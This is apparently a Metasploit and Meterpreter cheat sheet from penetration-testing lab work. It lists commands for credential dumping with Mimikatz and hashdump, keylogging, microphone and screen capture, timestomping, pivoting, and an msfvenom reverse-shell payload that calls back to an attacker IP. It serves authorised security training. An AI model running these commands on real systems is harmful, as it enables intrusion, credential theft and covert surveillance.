Metasploit
Start database
sudo msfdb run Database initialization
sudo msfdb init Delete existing databases
msfdb --use-defaults deleteDatabase initialization
msfdb --use-defaults initDatabase status
msfdb statusWorkspaces management
msf6 > workspace // list workspaces
msf6 > workspace -a <WORKSPACE> // add workspace
msf6 > workspace -r <WORKSPACE> // rename workspace
msf6 > workspace -d <WORKSPACE> // delete workspace
msf6 > workspace -D // delete all workspacesNmap integration
msf6 > db_nmap <OPTIONS> // run nmap and add output to databaseHosts and services
msf6 > hosts // read hosts from database
msf6 > services // read services from database
msf6 > vulns // show vulnerabilitiesSearching and configuration
msf6 > search // search within metasploit
msf6 > set RHOST <RHOST> // set remote host
msf6 > set RPORT <RPORT> // set remote port
msf6 > set VERBOSE true // enable verbose output
msf6 > set forceexploit true // force exploit anyway
msf6 > set EXITFUNC thread // reverse shell can exit without closing program
msf6 > set AutoLoadStdapi false // disable stdapi autoload
msf6 > set PrependMigrate true // enable automatic migration
msf6 > set PrependMigrateProc explorer.exe // auto migrate to explorer.exeModules
msf6 > exploit // use exploit module
msf6 > payload // use payload module
msf6 > auxiliary // use auxiliary module
msf6 > encoder // use encoder module
msf6 > nop // use nop module
msf6 > use post/PATH/TO/MODULE // use post exploitation module
msf6 > use post/linux/gather/hashdump // hashdump on Linux
msf6 > use post/multi/manage/shell_to_meterpreter // shell to meterpreter
msf6 > use exploit/windows/http/oracle_event_processing_upload // specific moduleSessions
msf6 > show sessions // show active sessions
msf6 > sessions -l // list the sessions
msf6 > sessions -i 1 // switch to session 1
msf6 > sessions -u <ID> // upgrade shell to meterpreter
msf6 > sessions -k <ID> // kill specific session
msf6 > sessions -K // kill all sessionsJobs and payloads
msf6 > jobs // show current jobs
msf6 > show payloads // show available payloadsSpool and save
msf6 > spool /PATH/TO/FILE // record output
msf6 > save // save current stateMeterpreter - Basic operations
C:\> Ctrl + z // put active shell in background
meterpreter > loadstdapi // load stdapi
meterpreter > background // send session to background
meterpreter > shell // get system shell
meterpreter > channel -i <ID> // return to an existing meterpreter channelMeterpreter - System info and migration
meterpreter > ps // list processes
meterpreter > migrate 2236 // migrate to a process
meterpreter > getuid // get current user
meterpreter > sysinfo // get system informationMeterpreter - File and network operations
meterpreter > search -f <FILE> // search for a file
meterpreter > upload // upload local files
meterpreter > ipconfig // network configuration
meterpreter > download <file> // Download a file from the machine
meterpreter > lcd <path> // cd in kaliPowerShell Integration
meterpreter > load powershell
meterpreter > powershell_shell
meterpreter > powershell_execute
meterpreter > powershell_import
meterpreter > powershell_session_remove
meterpreter > powershell_execute 'Get-NetNeighbor | Where-Object -Property State -NE "Unreachable" | Select-Object -Property IPAddress'
meterpreter > powershell_execute '1..254 | foreach { "<XXX.XXX.XXX>.${_}: $(Test-Connection -TimeoutSeconds 1 -Count 1 -ComputerName <XXX.XXX.XXX>.${_} -Quiet)" }'
meterpreter > powershell_execute 'Test-NetConnection -ComputerName <RHOST> -Port 80 | Select-Object -Property RemotePort, TcpTestSucceeded'Mimikatz (Kiwi)
meterpreter > load kiwi
meterpreter > help kiwi
meterpreter > kiwi_cmd
meterpreter > lsa_dump_sam
meterpreter > dcsync_ntlm krbtgt
meterpreter > creds_all
meterpreter > creds_msv
meterpreter > creds_kerberos
meterpreter > creds_ssp
meterpreter > creds_wdigest
meterpreter > getprivs
meterpreter > getsystem
meterpreter > hashdumpPost-Exploitation Modules
meterpreter > run post/windows/gather/checkvm
meterpreter > run post/multi/recon/local_exploit_suggester
meterpreter > run post/windows/manage/enable_rdp
meterpreter > run post/multi/manage/autoroute
meterpreter > run auxiliary/server/socks4aKeylogging & Screen
meterpreter > keyscan_start
meterpreter > keyscan_dump
meterpreter > screenshare
meterpreter > screenshare -q 100
meterpreter > record_micTimestomping & Execution
meterpreter > timestomp
meterpreter > execute -f calc.exePivoting
msf6> route add 172.16.5.0/24 <session>
msf6> route print
msf6> use auxiliary/server/socks_proxy
msf6> set SRVHOST 127.0.0.1
msf6> set VERSION 5
msf6> run -jkali@kali:~$ tail /etc/proxychains4.conf
# proxy types: http, socks4, socks5, raw
# * raw: The traffic is simply forwarded to the proxy without modification.
# ( auth types supported: "basic"-http "user/pass"-socks )
#
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
socks5 127.0.0.1 1080
kali@kali:~$ sudo proxychains xfreerdp /v:172.16.5.200 /u:luizaPort Forwarding
meterpreter > portfwd add -l <LPORT> -p <RPORT> -r <RHOST>
kali@kali:~$ sudo xfreerdp /v:127.0.0.1 /u:luizaEstablish meterpreter reverse shell from compromised host
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.45.221 LPORT=2233 -f exe -o met.exemsf6 > set payload windows/x64/meterpreter_reverse_https
msf6 > set lhost 192.168.45.221
msf6 > set lport 2233
msf6 > exploit -jLast updated